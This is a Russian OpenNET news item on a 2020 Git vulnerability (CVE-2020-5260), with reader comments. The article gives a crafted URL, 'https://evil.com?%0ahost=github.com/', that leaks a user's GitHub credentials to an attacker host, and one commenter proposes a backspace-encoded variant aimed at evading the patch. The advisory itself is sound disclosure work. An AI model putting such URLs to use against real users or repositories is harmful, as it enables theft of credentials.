The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Уязвимость в Git, приводящая к утечке учётных данных

14.04.2020 23:03

Опубликованы корректирующие выпуски распределённой системы управления исходными текстами Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 и 2.17.4, в которых устранена уязвимость (CVE-2020-5260) в обработчике "credential.helper", приводящая к отправке учётных данных не на тот хост при обращении git-клиента к репозиторию по специально оформленному URL, содержащему символ новой строки. Уязвимость можно использовать для организации отправки на сервер, подконтрольный атакующему, учётных данных от другого хоста.

При указании URL вида "https://evil.com?%0ahost=github.com/" обработчик учётных данных при подключении к хосту evil.com передаст параметры аутентификации, заданные для github.com. Проблема проявляется при выполнении таких операций, как "git clone", в том числе при обработке URL для субмодулей (например, при выполнении "git submodule update" будут автоматически обработаны URL, заданные в файле .gitmodules из репозитория). Наибольшую опасность уязвимость представляет в ситуациях, когда разработчик выполняет клонирование репозитория не видя URL, например, при работе с субмодулями, или в системах, выполняющих автоматические действия, например, в скриптах сборки пакетов.

Для блокирования уязвимости в новых версиях запрещена передача символа новой строки в любых значениях, передаваемых через протокол обмена учётными данными. Для дистрибутивов проследить за выпуском обновлений пакетов можно на страницах Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, ALT, FreeBSD. В качестве обходного пути блокирования проблемы рекомендуется не использовать credential.helper при обращении к публичным репозиториям и не применять "git clone" в режиме "--recurse-submodules" с непроверенными репозиториями. Для полного отключения обработчика credential.helper, который выполняет сохранение и извлечение паролей из кэша, защищённого хранилища или файла с паролями, можно использовать команды:


   git config --unset credential.helper
   git config --global --unset credential.helper
   git config --system --unset credential.helper


  1. Главная ссылка к новости (https://lkml.org/lkml/2020/4/1...)
  2. OpenNews: Обновление Git с устранением 8 уязвимостей
  3. OpenNews: В Git устранена уязвимость, которая может привести к выполнению кода атакующего
  4. OpenNews: Обновление Git с устранением уязвимостей
  5. OpenNews: Уязвимость в Git, Subversion и Mercurial, допускающая подстановку команд через URL ssh://
  6. OpenNews: Выпуск Git 2.4.11, 2.5.5 и 2.6.6 и 2.7.4 с устранением критических уязвимостей
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/52734-git
Ключевые слова: git
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (40) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (1), 23:22, 14/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >Для полного отключения обработчика gitcredentials, который выполняет сохранение и извлечение паролей их кэша, защищённого хранилища или файла с паролями

    Это типа хотели как лучше, а получилось как всегда?

     
  • 1.2, Аноним (2), 23:31, 14/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    это бонус к бесплатным репозиториям
     
  • 1.3, Аноним (3), 23:50, 14/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >содержащему символ новой строки

    Ужасно, ужасно. Самая частая ошибка в софте. Создайте файл с таким символом и скормите его разному софту. 100% скриптов посыпется (если они конечно не написаны мной) и больше половины самого разного софта (кстати, респект gnu tar -- он не подвержен в отличие от некоторых конкурентов).

     
     
  • 2.4, Аноним (4), 00:02, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > 100% скриптов посыпется (если они конечно не написаны мной)

    И как сделать, чтобы не посыпались?

     
     
  • 3.5, Аноним (3), 00:04, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Использовать \0 для разделения строк. Praise GNU.
     
     
  • 4.8, Аноним (8), 00:36, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    С \0 свои приколы, когда "паскалевские" строки (длина + char*, могут содержать \0) обрабатываются функциями из стандартной библиотеки C.

    Например, когда-то был то ли в апаче, то ли в каком еще вебсервере баг, когда URL вида image.jpg%00.php приводил к интерпретации содержимого картинки как PHP-кода (а по принципу rarjpeg-а засунуть в картинку php-код не проблема).

     
  • 3.14, Онаним (?), 03:24, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • –7 +/
    Не использовать Си в критически важных местах. Элементарно Ватсон.
     
     
  • 4.21, Ordu (ok), 08:03, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +6 +/
    От проблем с неспособностью программиста/протокола экранировать специальные символы это не спасёт. Со специальными символами ведь какая штука: они иногда специальные, иногда нет, это контекстно зависимо. И поэтому они имеют тенденцию выскакивать в самых неподходящих местах. Можно запретить использовать спецсимволы на дальних подходах, но в unix это не принято: если имя файла, то оно должно позволять использовать любой символ, кроме \0 и /. Зачем это нужно, непонятно, я не уверен что кто-нибудь хоть раз за всю историю unix'а пользовался бы осмысленно символами с номерами 1..31 в именах файлов. Осмысленно -- это в смысле не для эксплуатации бага, и не для того, чтобы посмотреть что получится, а реально использовал бы для какого-то технического решения, которое без этих символов было бы сложнее реализовать. Никто не использовал скорее всего, но при этом всю историю unix'а кто-нибудь наступает на грабли этих самых символов. Сложно сказать в чём смысл выбирать сложный путь, но это видимо одна из этих необъяснимых культурных штук.

    Вполне можно было бы запретить внутри git использовать в урлах всё кроме a-z, 0-9, и десятка символов пунктуации. 99% пользователей бы не заметили ограничения, а 99% оставшихся бы приспособились к нему. На остальных можно было бы забить. Но культурно-обусловленные bias'ы не позволили разработчикам даже рассмотреть такую возможность. Впрочем, на фоне увлечения юникодом в урлах, ситуация осложняется, но тем не менее нет никаких причин не фильтровать символы 0..31 из урлов. Они же "исправили" ситуацию отфильтровав \n. Потом, допустим, выяснится, что где-нибудь \x03 или \x04 что-нибудь там ломает в некоторых реализациях helper'ов, им это надоест они скажут notabug, чините сами. Но _зачем_ раскладывать эти грабли notabug'ов неясно.

     
     
  • 5.23, Аноним (3), 09:58, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Файл с писком. (:
     
     
  • 6.27, Ordu (ok), 11:36, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Файл с писком. (:

    Да, можно положить такой файл в директорию, в которую лучше не заглядывать, и каждый раз когда туда заглянешь, она тебе пикнет, предупредит о том, что ты делаешь что-то не то. Хорошая идея. В том смысле, что хотя бы похоже на практическое применение.

     
     
  • 7.35, Forth (ok), 21:25, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В именах файлов нельзя использовать  \0 и / ровно по двум причинам:
    1. / разделитель пути.
    2. \0 конец строки.
    С чего ты решил что символы 1..31 вообще имеют какой-то особый смысл в именах файлов?
     
     
  • 8.39, Ordu (ok), 16:08, 19/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Это легко можно проверить touch echo -en a ls ls TAB TAB G Ч... текст свёрнут, показать
     
     
  • 9.40, Forth (ok), 09:48, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты сначала разберись, а потом пытайся в деталях описывать то, что не понимаешь ... текст свёрнут, показать
     
     
  • 10.41, Ordu (ok), 10:33, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты сначала научись читать, о чём тебе пишут, а потом советы другим давай Если б... текст свёрнут, показать
     
     
  • 11.42, Forth (ok), 11:06, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Хамство твоё поскипано, отвечать на это дерьмо не буду По существу Вот те... текст свёрнут, показать
     
     
  • 12.43, Ordu (ok), 13:07, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Заглядываем в википедию и читаем внимательно Этот графический нестандартный реж... большой текст свёрнут, показать
     
     
  • 13.44, Forth (ok), 14:32, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    И что он отображал по-твоему В том числе консольные приложения тоже Пойми ты, ... большой текст свёрнут, показать
     
     
  • 14.46, Ordu (ok), 16:12, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Не для того, чтобы этот альтернативный режим использовать для файлов Ты сам гол... большой текст свёрнут, показать
     
  • 5.37, Аноним (37), 15:01, 19/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Вот, сами юникод упомянули жк. Разрабы юникса просто не стали сразу вводить ограничения, мешающие дальнейшему развитию системы.
     
     
  • 6.38, Ordu (ok), 15:52, 19/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Вот, сами юникод упомянули жк. Разрабы юникса просто не стали сразу вводить
    > ограничения, мешающие дальнейшему развитию системы.

    utf8 не использует байты 0x0..0x31. Точнее, эти байты, я думаю, могут встречаться в валидном utf8, но только в том смысле, в котором они появляются в ASCII. То есть в том самом смысле, в котором они не нужны совершенно в именах файлов. Однобайтовые кодопоинты -- это ASCII (то есть значения 0..127), а в многобайтовых все байты имеют старший бит 1.

     
     
  • 7.45, Forth (ok), 14:35, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Это сейчас фактически только utf-8, а раньше очень даже в ходу был utf-16. Как врочем и куча кодировок иного толка.
     
     
  • 8.47, Ordu (ok), 16:13, 20/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    utf-16, я подозреваю, не удастся использовать в именах файлов никак, даже если н... текст свёрнут, показать
     
  • 4.31, Аноним (31), 17:11, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >Не использовать Си в критически важных местах. Элементарно Ватсон.

    Каким боком тут C ? Речь шла о скриптах.

     
  • 3.24, Michael Shigorin (ok), 10:17, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >> 100% скриптов посыпется (если они конечно не написаны мной)

    ...а ещё я скромный очень и объективный? ;-)

    > И как сделать, чтобы не посыпались?

    Как-то так, например: http://altlinux.org/Secure_Packaging_Policy

     

  • 1.6, th3m3 (ok), 00:34, 15/04/2020 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –7 +/
     

     ....ответы скрыты (5)

  • 1.19, Сэр Аноним (?), 07:30, 15/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    — Что такое экранирование, Бэрримор?
    — Это то, что умеют делать хакеры, но не умеют погромисты, сэр.
     
     
  • 2.29, Бум (?), 14:33, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >погромисты

    =)

     
  • 2.36, Аноним (36), 02:07, 16/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    - получается тяга к свободе информации приводит к ее экранированию. Это весьма странно, Бэрримор.
    - Диалектика, Сэр
     

  • 1.22, Аноним (22), 09:02, 15/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А с каких пор git только для github? При обращении по такому url должны передаваться параметры авторизации к сайту evil com, а не к гитхабу.
     
     
  • 2.33, КО (?), 17:52, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Наверное, можно было и от gitlab попросить.
    Ожидать, что разработчик доверил гиту пароль от банка несколько наивно, хотя кто их знает ... :)
     

  • 1.25, Нонон (?), 11:17, 15/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    git update-git-for-windows -y

    Не благодарите)

     
  • 1.26, Аноним (26), 11:31, 15/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    зачем вообще в гите нужны эти субмодули? Никогда не видел от них ничего кроме проблем. Да и не только я, никто ими не пользуется.
     
     
  • 2.28, Ag (ok), 12:17, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Тю, а дырки в заборе шоб лазить мимо проходной тогда як делать?
     
  • 2.32, нитрол (?), 17:37, 15/04/2020 [^] [^^] [^^^] [ответить]  
  • +/
    шикарная аналитика и статистика, OLAP запрос за 1 сек - отчет по всей планете :D
     

  • 1.34, КО (?), 17:57, 15/04/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >+ if (strchr(value, '\n'))
    >+ die("credential value for %s contains newline", key);

    А если передать "https://evil.com?%08%08%08%08%08%08%08%;08%08host=github.com/"

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру